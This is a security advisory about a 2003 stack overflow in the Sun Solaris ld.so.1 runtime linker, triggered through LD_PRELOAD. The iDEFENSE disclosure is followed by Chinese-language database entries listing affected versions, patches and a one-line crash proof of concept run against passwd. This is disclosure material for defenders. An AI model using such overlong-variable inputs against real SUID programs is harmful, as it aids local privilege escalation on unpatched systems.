     * Solaris 8 with patches 109148-07 through 109148-24 and without
       patch 109148-25
     * Solaris 9 without patch 113986-05

V. VENDOR FIX

Sun has provided a fix for this issue available from: 
http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert/55680

VI. CVE INFORMATION

The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project
has assigned the identification number CAN-2003-0609 to this issue.

VII. DISCLOSURE TIMELINE

01 JUN 2003      Issue disclosed to security-alert@sun.com
02 JUN 2003      Response from Sun Security Coordination Team
03 JUN 2003      Email to Sun Security Coordination Team
04 JUN 2003      Issue disclosed to iDEFENSE
16 JUL 2003      Status Request to Sun Security Coordination Team
22 JUL 2003      Response from Sun Security Coordination Team
28 JUL 2003      iDEFENSE clients notified
29 JUL 2003      Coordinated Public Disclosure

VIII. CREDIT

Jouko Pynnonen (jouko@iki.fi) discovered this vulnerability.


Get paid for security research
http://www.idefense.com/contributor.html

Subscribe to iDEFENSE Advisories:
send email to listserv@idefense.com, subject line: "subscribe"


About iDEFENSE:

iDEFENSE is a global security intelligence company that proactively
monitors sources throughout the world - from technical
vulnerabilities and hacker profiling to the global spread of viruses
and other malicious code. Our security intelligence services provide
decision-makers, frontline security professionals and network
administrators with timely access to actionable intelligence
and decision support on cyber-related threats. For more information,
visit http://www.idefense.com .


-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0

iQA/AwUBPyaJcPrkky7kqW5PEQJrXACgsGjrOSs/MJVudUP55/MlX6KrPuEAn1uC
99jxCgAMjChg8Y1P5N+QUYzy
=26td
-----END PGP SIGNATURE-----

    

- 漏洞信息

8722
Solaris ld.so.1 LD_PRELOAD Variable Local Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public, Exploit Commercial

- 漏洞描述

A local overflow exists in Sun Solaris. Solaris fails to handle an overly long LD_PRELOAD environment variable while launching SUID/SGID executables resulting in a stack based overflow. By setting LD_PRELOAD to a specially crafted value, an attacker can cause a deny of service or even execute arbitrary code with elevated priviledges resulting in a loss of integrity.

- 时间线

2003-07-29 Unknow
2004-12-22 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Sun has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

- 漏洞信息

Sun Solaris Runtime Linker LD_PRELOAD Local Buffer Overflow Vulnerability
Boundary Condition Error 8305
No Yes
2003-07-29 12:00:00 2009-07-11 10:56:00
Discovery of this vulnerability has been credited to Jouko Pynnonen <jouko@iki.fi>.

- 受影响的程序版本

Sun Solaris 9_x86
Sun Solaris 9
Sun Solaris 8_x86
Sun Solaris 8_sparc
Sun Solaris 7.0_x86
Sun Solaris 7.0
Sun Solaris 2.6_x86
Sun Solaris 2.6

- 漏洞讨论

The Sun Solaris ld runtime linker has been reported prone to a buffer overflow vulnerability. It has been conjectured that the issue presents itself, due to insufficient bounds checking performed in the routines used to process the value of LD_PRELOAD. A local attacker may exploit this issue to execute arbitrary code with elevated privileges.

- 漏洞利用

CORE has developed a working commercial exploit for their IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.

The following proof of concept has been supplied:

$ LD_PRELOAD=/`perl -e 'print "A"x2000'`/ passwd
ld.so.1: passwd: warning /AAAAAAA ... AAAAA/: open failed: illegal
insecure pathname
Segmentation Fault (core dumped)

Two exploits have also been released.

- 解决方案

The vendor has released patches to address this issue:


Sun Solaris 2.6

Sun Solaris 7.0

Sun Solaris 8_x86

Sun Solaris 2.6_x86

Sun Solaris 8_sparc

Sun Solaris 9

Sun Solaris 9_x86

Sun Solaris 7.0_x86

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站